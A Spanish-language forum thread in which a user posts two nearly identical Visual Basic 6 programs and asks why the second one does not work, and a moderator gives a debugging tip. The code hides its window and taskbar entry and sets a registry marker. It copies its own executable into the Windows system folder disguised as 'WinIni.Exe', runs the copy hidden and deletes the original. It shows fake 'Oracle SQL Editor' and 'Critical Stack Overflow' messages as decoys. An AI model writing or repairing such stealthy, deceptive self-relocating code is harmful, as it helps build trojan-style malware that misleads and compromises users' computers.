Programación General > Visual Basic 6.0 e inferiores

 2 Codigos Iguales

(1/1)

RadicalEd:
HOLA CHICOS DE SOLOCODIGO TENGO UN PROBLEMA CON 2 CODIGOS IGUALITOS AQUI LES VA

--- Código: Text ---'form1Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As LongPrivate Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As LongPrivate Sub Form_Load()On Error Resume NextDim zMe.Visible = Falsez = QueryValue(HKEY_CURRENT_USER, "¶¶¶\mani", "pio")If z <> 1 Then    Call CreateElse    Call KillingEnd IfEnd SubSub Create()On Error Resume NextDim mCreateNewKey HKEY_CURRENT_USER, "¶¶¶\mani"SetKeyValue HKEY_CURRENT_USER, "¶¶¶\mani", "pio", "1", REG_SZWritePrivateProfileString "RegServer", "dar", App.Path + "\" + App.EXEName + ".exe", App.Path & "\lalo.ocx"FileCopy App.Path + "\" + App.EXEName + ".exe", App.Path + "\mada.exe"m = Shell(App.Path + "\mada.exe", 0)AppActivate mUnload MeEnd SubSub Killing()On Error Resume NextDim ret As String, NC As Longret = String(255, 0)NC = GetPrivateProfileString("RegServer", "dar", "Default", ret, 255, App.Path & "\lalo.ocx")If NC <> 0 Thenret = Left$(ret, NC)Call MsgBox("Welcome to Oracle SQL Editor", 48, "SQL Editor")Kill (ret)Kill (App.Path & "\lalo.ocx")Call MsgBox("Critical Stack Overflow Application will be Close", 16, "Warning")End IfEnd Sub  
--- Código: Text --- 'frmTroPrivate Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As LongPrivate Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As LongPrivate Sub Form_Load()On Error Resume NextDim zMe.Visible = Falsez = QueryValue(HKEY_CURRENT_USER, "¶¶¶\mani", "pio")If z <> 1 Then    Call CreateElse    Call KillingEnd IfApp.TaskVisible = False   'Ocultar en la barra de tareas.End SubSub Create()On Error Resume NextDim mDim fso As ObjectSet fso = CreateObject("Scripting.FileSystemObject")CreateNewKey HKEY_CURRENT_USER, "¶¶¶\mani"SetKeyValue HKEY_CURRENT_USER, "¶¶¶\mani", "pio", "1", REG_SZWritePrivateProfileString "RegServer", "dar", App.Path + "\" + App.EXEName + ".exe", App.Path + "\WinIni.ocx"FileCopy App.Path + "\" + App.EXEName + ".exe", fso.GetSpecialFolder(1) + "\WinIni.Exe"m = Shell(fso.GetSpecialFolder(1) + "\WinIni.Exe", 0)AppActivate mUnload MeEnd SubSub Killing()On Error Resume NextDim ret As String, NC As Longret = String(255, 0)NC = GetPrivateProfileString("RegServer", "dar", "Default", ret, 255, App.Path & "\WinIni.ocx")If NC <> 0 Thenret = Left$(ret, NC)Call MsgBox("Welcome to Oracle SQL Editor", 48, "SQL Editor")Kill (ret)Kill (App.Path & "\WinIni.ocx")Call MsgBox("Critical Stack Overflow Application will be Close", 16, "Warning")End IfEnd Sub EL PROBLEMA ES QUE EL FORM1 ME FUNCIONA A LA PERFECCION PERO EL FRMTRO NO Y NO SE POR QUE SI SON EL MISMO CODIGO QUE PASA ESTOY TRATANDO DE HACER UNA APLICACION QUE SE AUTOCOPIE EN OTRO LADO DEL PC CUANDO ARRANQUE SE CIERRE Y EL SEGUNDO QUE SE ABRE ELIMINE EL PRIMER ARCHIVO
QUE ESTA MAL AYUDENMEN
GRACIAS CHAO

ROBER.29:
Hola,

Comenta los "On Error Resume Next" para saber si te está dando algún error y en que línea te da el error y podamos saber cual es tu problema y la posible solución que puedes llevar a cabo.

Un saludo.

RadicalEd:
NO DON MODEREIDOR EL PROBLEMA ES QUE NO ME SACA NINGUN ERROR SOLO NO ME HACE NADA; HACE HASTA LA COPIA DEL ARCHIVO Y LA CREACION DEL OCX PERO NO ME BORRA NINGUNO DE LOS 2 ARCHIVOS ESTOY HABLANDO DEL FRMTRO; TRATA DE COPIARLO Y HACERLO CON LOS 2 CODIGOS

Navegación

[0] Índice de Mensajes